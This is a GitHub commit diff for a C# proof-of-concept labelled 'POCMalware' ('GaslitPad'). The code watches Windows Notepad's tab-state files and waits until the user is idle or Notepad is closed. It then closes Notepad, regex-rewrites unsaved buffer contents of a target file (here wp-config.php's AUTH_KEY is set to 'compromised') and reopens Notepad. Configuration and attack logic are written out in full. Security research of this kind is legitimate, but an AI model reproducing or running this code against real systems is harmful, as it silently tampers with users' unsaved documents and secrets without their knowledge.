Skip to content

Commit 3b5ab21

Browse files
ogminiogmini
committed
GaslitPad updates
1 parent dee9d4a commit 3b5ab21

File tree

2 files changed

+96
-61
lines changed

2 files changed

+96
-61
lines changed

‎NotepadStateLibrary/POCMalware/App.config‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
<?xml version="1.0" encoding="utf-8" ?>
22
<configuration>
33
<appSettings>
4+
<add key="attackVersion" value="0" />
45
<add key="attackFileName" value="wp-config.php" />
56
<add key="attackRegex" value="define\('AUTH_KEY',\s*'[^']+'\);" />
67
<add key="attackReplace" value="define('AUTH_KEY', 'compromised');" />

‎NotepadStateLibrary/POCMalware/Program.cs‎

Lines changed: 95 additions & 61 deletions
Original file line numberDiff line numberDiff line change
@@ -20,85 +20,119 @@
2020

2121
//TODO: Make this a list or something of attack target parameters
2222
//LOL Error checking?
23+
int attackVersion = Int32.Parse(ConfigurationManager.AppSettings["attackVersion"]); //0 attack when Notepad is open, 1 attacks when Notepad is closed
2324
string attackFileName = ConfigurationManager.AppSettings["attackFileName"];
2425
string attackRegex = ConfigurationManager.AppSettings["attackRegex"];
2526
string attackReplace = ConfigurationManager.AppSettings["attackReplace"];
2627
bool attackDone = false;
2728

28-
// Dictionary to store file information: file name -> file length to detect changes
29-
var previousFileState = new Dictionary<string, string>();
3029

31-
Thread monitorThread = new Thread(MonitorNotepad);
32-
monitorThread.IsBackground = true; // Set as background thread so it terminates when the app closes
33-
monitorThread.Start();
34-
35-
Console.WriteLine($"Monitoring directory: {directoryToMonitor}");
36-
Console.WriteLine("Press 'q' to quit...");
37-
38-
// Start a loop to check the directory every few seconds
39-
while (true)
30+
if (attackVersion == 0)
4031
{
41-
// Wait for the next polling interval
42-
Thread.Sleep(pollingInterval);
32+
// Dictionary to store file information: file name -> file length to detect changes
33+
var previousFileState = new Dictionary<string, string>();
4334

44-
Console.WriteLine(InputTimer.GetInputIdleTime().TotalSeconds.ToString());
35+
Thread monitorThread = new Thread(MonitorNotepad);
36+
monitorThread.IsBackground = true; // Set as background thread so it terminates when the app closes
37+
monitorThread.Start();
4538

46-
// Get the current state of the directory (file names and their hashes)
47-
var currentFileState = new Dictionary<string, string>();
48-
foreach (var file in Directory.GetFiles(directoryToMonitor))
49-
{
50-
var fileName = Path.GetFileName(file);
51-
var fileByteLength = GetFileByteLength(file);
52-
currentFileState[fileName] = fileByteLength;
53-
}
39+
Console.WriteLine($"Monitoring directory: {directoryToMonitor}");
40+
Console.WriteLine("Press 'q' to quit...");
5441

55-
// Check for newly added files
56-
var addedFiles = currentFileState.Keys.Except(previousFileState.Keys);
57-
foreach (var addedFile in addedFiles)
42+
// Start a loop to check the directory every few seconds
43+
while (true)
5844
{
59-
Console.WriteLine($"File created: {addedFile}");
60-
Console.WriteLine(isNotepadRunning.ToString());
61-
//TODO: Future
62-
}
45+
// Wait for the next polling interval
46+
Thread.Sleep(pollingInterval);
6347

64-
// Check for deleted files
65-
var deletedFiles = previousFileState.Keys.Except(currentFileState.Keys);
66-
foreach (var deletedFile in deletedFiles)
67-
{
68-
Console.WriteLine($"File deleted: {deletedFile}");
69-
Console.WriteLine(isNotepadRunning.ToString());
70-
//TODO: Future
71-
}
48+
Console.WriteLine(InputTimer.GetInputIdleTime().TotalSeconds.ToString());
7249

73-
// Check for modified files (files that exist in both, but with different lengths)
74-
var modifiedFiles = currentFileState
75-
.Where(kv => previousFileState.ContainsKey(kv.Key) && kv.Value != previousFileState[kv.Key])
76-
.Select(kv => kv.Key);
77-
foreach (var modifiedFile in modifiedFiles)
78-
{
79-
Console.WriteLine($"File modified: {modifiedFile}");
80-
Console.WriteLine(isNotepadRunning.ToString());
81-
//TODO: Future
82-
}
50+
// Get the current state of the directory (file names and their hashes)
51+
var currentFileState = new Dictionary<string, string>();
52+
foreach (var file in Directory.GetFiles(directoryToMonitor))
53+
{
54+
var fileName = Path.GetFileName(file);
55+
var fileByteLength = GetFileByteLength(file);
56+
currentFileState[fileName] = fileByteLength;
57+
}
8358

84-
// Update the previous file state for the next iteration
85-
previousFileState = new Dictionary<string, string>(currentFileState);
59+
// Check for newly added files
60+
var addedFiles = currentFileState.Keys.Except(previousFileState.Keys);
61+
foreach (var addedFile in addedFiles)
62+
{
63+
Console.WriteLine($"File created: {addedFile}");
64+
Console.WriteLine(isNotepadRunning.ToString());
65+
//TODO: Future
66+
}
8667

87-
// Check for Attack conditions
88-
if (isNotepadRunning && InputTimer.GetInputIdleTime().TotalSeconds > idleWaitTime && !attackDone)
89-
{
90-
Console.WriteLine("Starting attack");
91-
CloseNotepad();
92-
foreach (var file in currentFileState)
68+
// Check for deleted files
69+
var deletedFiles = previousFileState.Keys.Except(currentFileState.Keys);
70+
foreach (var deletedFile in deletedFiles)
9371
{
94-
Attack(Path.Combine(directoryToMonitor, file.Key), attackFileName, attackReplace, attackRegex);
72+
Console.WriteLine($"File deleted: {deletedFile}");
73+
Console.WriteLine(isNotepadRunning.ToString());
74+
//TODO: Future
75+
}
76+
77+
// Check for modified files (files that exist in both, but with different lengths)
78+
var modifiedFiles = currentFileState
79+
.Where(kv => previousFileState.ContainsKey(kv.Key) && kv.Value != previousFileState[kv.Key])
80+
.Select(kv => kv.Key);
81+
foreach (var modifiedFile in modifiedFiles)
82+
{
83+
Console.WriteLine($"File modified: {modifiedFile}");
84+
Console.WriteLine(isNotepadRunning.ToString());
85+
//TODO: Future
86+
}
87+
88+
// Update the previous file state for the next iteration
89+
previousFileState = new Dictionary<string, string>(currentFileState);
90+
91+
// Check for Attack conditions
92+
if (isNotepadRunning && InputTimer.GetInputIdleTime().TotalSeconds > idleWaitTime && !attackDone)
93+
{
94+
Console.WriteLine("Starting attack");
95+
CloseNotepad();
96+
foreach (var file in currentFileState)
97+
{
98+
Attack(Path.Combine(directoryToMonitor, file.Key), attackFileName, attackReplace, attackRegex);
99+
}
100+
OpenNotepad();
101+
}
102+
// Check for user input to exit
103+
if (Console.KeyAvailable && Console.ReadKey(intercept: true).Key == ConsoleKey.Q)
104+
{
105+
break;
95106
}
96-
OpenNotepad();
97107
}
98-
// Check for user input to exit
99-
if (Console.KeyAvailable && Console.ReadKey(intercept: true).Key == ConsoleKey.Q)
108+
}
109+
else
110+
{
111+
while (true)
100112
{
101-
break;
113+
Thread.Sleep(pollingInterval);
114+
115+
if (Process.GetProcessesByName("notepad").Count() == 0)
116+
{
117+
var currentFileState = new Dictionary<string, string>();
118+
foreach (var file in Directory.GetFiles(directoryToMonitor))
119+
{
120+
var fileName = Path.GetFileName(file);
121+
var fileByteLength = GetFileByteLength(file);
122+
currentFileState[fileName] = fileByteLength;
123+
}
124+
125+
Console.WriteLine("Starting attack");
126+
foreach (var file in currentFileState)
127+
{
128+
Attack(Path.Combine(directoryToMonitor, file.Key), attackFileName, attackReplace, attackRegex);
129+
}
130+
}
131+
132+
if (attackDone)
133+
{
134+
break;
135+
}
102136
}
103137
}
104138

@@ -174,7 +208,7 @@ void Attack(string path, string fileName, string replace, string regexFind)
174208
{
175209
NPTabState np = new NPTabState(data, Path.GetFileName(path));
176210

177-
if (np.TypeFlag <= 1 && Path.GetFileName(np.FilePath) == fileName)
211+
if (np.TypeFlag <= 1 && Path.GetFileName(np.FilePath) == fileName && np.Unsaved.SequenceEqual(new byte[] { 0x1 }))
178212
{
179213
string c = np.ContentString;
180214

0 commit comments

Comments
 (0)